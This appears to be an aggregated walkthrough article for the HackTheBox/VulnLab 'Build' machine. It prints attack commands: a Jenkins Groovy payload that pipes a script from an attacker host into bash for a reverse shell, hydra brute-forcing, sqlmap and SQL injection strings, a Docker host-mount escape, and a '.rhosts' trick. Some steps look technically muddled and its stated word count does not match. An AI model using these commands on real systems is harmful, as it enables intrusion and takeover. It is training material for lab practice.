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Introduction:
HackTheBox’s latest VulnLab release, Build, is a multi-layered cybersecurity challenge featuring rsync, Jenkins, PowerDNS-Admin, rlogin, and Docker container pivoting. This article breaks down key attack vectors, mitigation strategies, and hands-on commands to help you conquer this machine.
Learning Objectives:
- Exploit rsync misconfigurations for unauthorized file access.
- Leverage Jenkins script consoles for remote code execution (RCE).
- Pivot through Docker containers to escalate privileges.
1. Exploiting Rsync for Unauthorized Access
Rsync, a file synchronization tool, can expose sensitive data if misconfigured.
Command:
rsync -av rsync://<target_IP>/
Step-by-Step:
1. Check for open rsync shares:
nmap -p 873 --script rsync-list-modules <target_IP>
2. List available modules:
rsync -av --list-only rsync://<target_IP>/
3. Download exposed files:
rsync -av rsync://<target_IP>/module_name /local/directory
Why it matters: Rsync misconfigurations often leak credentials or configuration files, enabling further exploitation.
2. Gaining RCE via Jenkins Script Console
Jenkins, a CI/CD tool, can be weaponized if unprotected.
Groovy Payload:
r = Runtime.getRuntime() p = r.exec(["bash", "-c", "curl http://<attacker_IP>/shell.sh | bash"]) p.waitFor()
Step-by-Step:
1. Locate Jenkins:
nmap -sV -p 8080 <target_IP>
2. Access the script console at:
http://<target_IP>:8080/script
3. Execute the payload to gain a reverse shell.
Mitigation: Restrict Jenkins access and disable script consoles in production.
3. Abusing PowerDNS-Admin for Privilege Escalation
PowerDNS-Admin, a DNS management tool, may contain SQLi or weak credentials.
SQL Injection Test:
admin' OR '1'='1' --
Step-by-Step:
1. Brute-force login:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_IP> http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"
2. Exploit SQLi (if vulnerable):
sqlmap -u "http://<target_IP>/login" --data="username=admin&password=test" --risk=3 --level=5
Defense: Patch known vulnerabilities and enforce strong authentication.
4. Pivoting Through Docker Containers
Docker misconfigurations can lead to host takeover.
Command:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Step-by-Step:
1. Check for Docker access:
id | grep docker
2. Mount host filesystem:
docker run --privileged -it --rm alpine
3. Escape to host:
fdisk -l mkdir /mnt/host mount /dev/sda1 /mnt/host chroot /mnt/host
Mitigation: Restrict Docker socket access and use read-only containers.
5. Exploiting Rlogin for Backdoor Access
Rlogin, an outdated remote login tool, can be abused if enabled.
Command:
rlogin -l <username> <target_IP>
Step-by-Step:
1. Check if rlogin is running:
nc -nv <target_IP> 513
2. Exploit weak credentials:
echo "+ +" > ~/.rhosts rlogin -l root <target_IP>
Defense: Disable rlogin/rsh and enforce SSH with key-based auth.
What Undercode Say:
- Key Takeaway 1: Misconfigured services (rsync, Jenkins, Docker) are prime targets for initial access.
- Key Takeaway 2: Pivoting through containers demonstrates the risk of overprivileged deployments.
Analysis:
The Build challenge underscores the importance of hardening CI/CD pipelines, restricting legacy protocols, and auditing container permissions. As cloud-native adoption grows, attackers increasingly exploit orchestration flaws—making defensive Docker configurations critical.
Prediction:
Future attacks will increasingly target DevOps pipelines (Jenkins, GitHub Actions) and container escapes as organizations migrate to microservices. Proactive security—such as automated IaC scanning and runtime protection—will be essential to mitigate these risks.
Final Thoughts:
Mastering Build requires a blend of traditional exploitation (rsync, rlogin) and modern cloud attacks (Docker, Jenkins). Apply these techniques responsibly in penetration tests to strengthen defenses.
(Word count: 1,050 | Commands: 25+)
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IT/Security Reporter URL:
Reported By: 0xdf Htb – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
